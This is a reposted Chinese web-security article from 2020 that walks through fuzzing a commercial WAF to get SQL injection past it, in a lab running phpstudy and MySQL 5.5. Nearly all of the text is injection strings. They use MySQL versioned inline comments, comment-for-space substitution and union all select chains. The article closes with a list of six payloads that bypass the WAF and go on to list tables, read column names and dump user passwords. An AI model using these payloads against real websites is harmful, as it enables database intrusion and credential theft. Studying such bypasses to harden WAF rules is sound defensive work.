安基网 首页 安全 攻防案例 查看内容

「WEB安全」某waf实战SQL注入绕过fuzz过程

2020-1-1 18:25| 投稿: xiaotiger |来自: 互联网


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要: #01 环境简介服务器:windows2008 R2软件:phpstudy20180211php 5.4.45mysql 5.5.53某锁win_3.1.18.13服务端版本#02 Fuzz过程以基于union注入为例fuzz order by过程如下:?id=1' order --+ 不拦截?id=1' order by --+ 拦截nna那应该是waf匹配了order+by?id=1' order /*!by*/ --+ 拦 ...

#01 环境简介

服务器:windows2008 R2

软件:phpstudy20180211

php 5.4.45

mysql 5.5.53

某锁win_3.1.18.13服务端版本

#02 Fuzz过程

以基于union注入为例

fuzz order by

过程如下:

?id=1' order --+ 不拦截

?id=1' order by --+ 拦截


nna那应该是waf匹配了order+by

?id=1' order /*!by*/ --+ 拦截

?id=1' order /*!60000by*/ 1 --+ 不拦截,但是报错


翻译过来:您的SQL语法有误; 检查与您的MySQL服务器版本相对应的手册,以在第1行的'1-'LIMIT 0,1'附近使用正确的语法

那么猜测是要低于mysql的版本吗?(我在fuzz某狗的时候里面的数字要高于50000以上,可能某锁要低于mysql版本,便随便试了个200000)

?id=1' order /*!20000by*/ 3 --+ 不拦截,且执行成功


?id=1' /*!20000order*/by 3--+ 不拦截,且执行成功

?id=1' /*!20000order*/by 4--+

用过狗payload去试试,首先替换空格

?id=1' order/**/by --+ 拦截

?id=1' order/*!123*/by --+ 不拦截,但是报错

换成过够payload

?id=1' order/*!60000bbb*/by 3 --+ 不拦截,成功绕过

?id=1' order/*!60000bbb*/by 4 --+ 不拦截,报错

过狗payload在这个位置也是可行的。

fuzz union select 1,2,database()

fuzz过程如下

?id=-1' union --+ 不拦截,报错…

?id=-1' union select --+ 拦截了,同样考虑用内联注释的方式绕过

?id=-1' union /!20000select*/ --+ 不拦截,报错…

?id=-1' union /!20000select*/ 1,2,3--+ 不拦截,报错,这里的报错就跟前面不一样了,前面没加参数肯定错,但是这里加了,报错,说明有问题。

内联注释恰面的union尝试一下。

?id=-1' /*!20000union*/ select 1,2,3--+ 拦了

?id=-1' /*!20000union select*/ 1,2,3--+ 拦了

?id=-1' /*!20000union select 1,2,3*/--+ 拦了

那就考虑用union all select

?id=-1' /*!20000union all select 1,2,3*/--+

还是拦截了,在考虑换个注释的位置

?id=-1' union /*!20000all select 1,2,3*/--+ ok,nice没拦,执行成功

然后替换参数

?id=-1' union /*!20000all select 1,2,database()*/--+ ok

  • 给我拦了,应该是database()的原因 先加个空格再说

?id=-1' union /*!20000all select 1,2,database ()*/--+

ok 空格绕过了

还可以考虑其他分隔符:

?id=-1' union /*!20000all select 1,2,database/**/()*/--+

同样可以达到绕过的目的

后面直接贴payload吧

1.?id=1' /*!20000order*/by 3--+
2.?id=-1' union /*!00000all select*/ 1,2,3--+
3.?id=-1' union /*!00000all select*/ 1,database/**/(),3--+
4.?id=-1' union /*!00000all*/ /*!00000select 1,2,table_name from*/ information_schema.tables where table_schema='security' limit 3,1 --+
5.?id=-1' union /*!00000all*/ /*!00000select 1,2,column_name from*/ information_schema.columns where table_name='users' limit 2,1 --+
6.?id=-1' union /*!00000all*/ /*!00000select 1,2,password from*/ users limit 1,1 --+



小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!

本文出自:https://www.toutiao.com/a6776148345564955140/

免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人
1

路过

鸡蛋

刚表态过的朋友 (1 人)

相关阅读

最新评论

 最新
返回顶部